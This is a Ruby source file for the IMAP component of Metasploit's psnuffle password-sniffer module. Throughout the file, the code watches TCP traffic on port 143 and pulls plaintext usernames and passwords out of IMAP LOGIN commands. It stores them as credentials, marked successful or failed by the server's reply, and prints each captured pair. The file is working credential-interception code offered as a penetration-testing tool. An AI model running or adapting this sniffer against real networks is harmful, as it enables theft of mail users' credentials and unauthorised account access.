# Psnuffle password sniffer add-on class for imap
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
# Also incorrect credentials are sniffed but marked
# as unsuccessful logins... (Typos are common :-) )
#


class SnifferIMAP < BaseProtocolParser

  def register_sigs
    self.sigs = {
      :banner		=> /^(\*\s+OK[^\n\r]*)/i,
      :login		=> /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i,
      :login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i,
      :login_bad	=> /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i,
      :login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i
    }
  end

  def parse(pkt)

    # We want to return immediatly if we do not have a packet which is handled by us
    return unless pkt.is_tcp?
    return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143)
    s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt))
    s[:sname] ||= "imap4"

    self.sigs.each_key do |k|
      # There is only one pattern per run to test
      matched = nil
      matches = nil

      if (pkt.payload =~ self.sigs[k])
        matched = k
        matches = [$1,$2]
      end

      case matched
      when :banner
        s[:info] = matches
        report_service(s)

      when :login_pass

        report_cred(
          :ip  => s[:host],
          :port => s[:port],
          :service_name => s[:sname],
          :user => s[:user],
          :password => s[:pass],
          :type => :password,
          :proof => "Capability OK reponse from server",
          :status => Metasploit::Model::Login::Status::SUCCESSFUL
        )
        print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

        # Remove it form the session objects so freeup
        sessions.delete(s[:session])

      when :login_fail

        report_cred(
          :ip  => s[:host],
          :port => s[:port],
          :service_name => s[:sname],
          :user => s[:user],
          :password => s[:pass],
          :type => :password,
          :proof => "Capability NO response from server",
          :status => Metasploit::Model::Login::Status::INCORRECT
        )
        print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

        # Remove it form the session objects so freeup
        sessions.delete(s[:session])

      when :login_bad
        report_cred(
          :ip  => s[:host],
          :port => s[:port],
          :service_name => s[:sname],
          :user => s[:user],
          :password => s[:pass],
          :type => :password,
          :proof => "Capability BAD response from server",
          :status => Metasploit::Model::Login::Status::UNTRIED
        )
        print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

        # Remove it form the session objects so freeup
        sessions.delete(s[:session])

      when :login
        s[:user]=$1
        s[:pass]=$2

      when nil
        # No matches, no saved state
      else
        sessions[s[:session]].merge!({k => matches})
      end # end case matched
    end # end of each_key
  end # end of parse
end

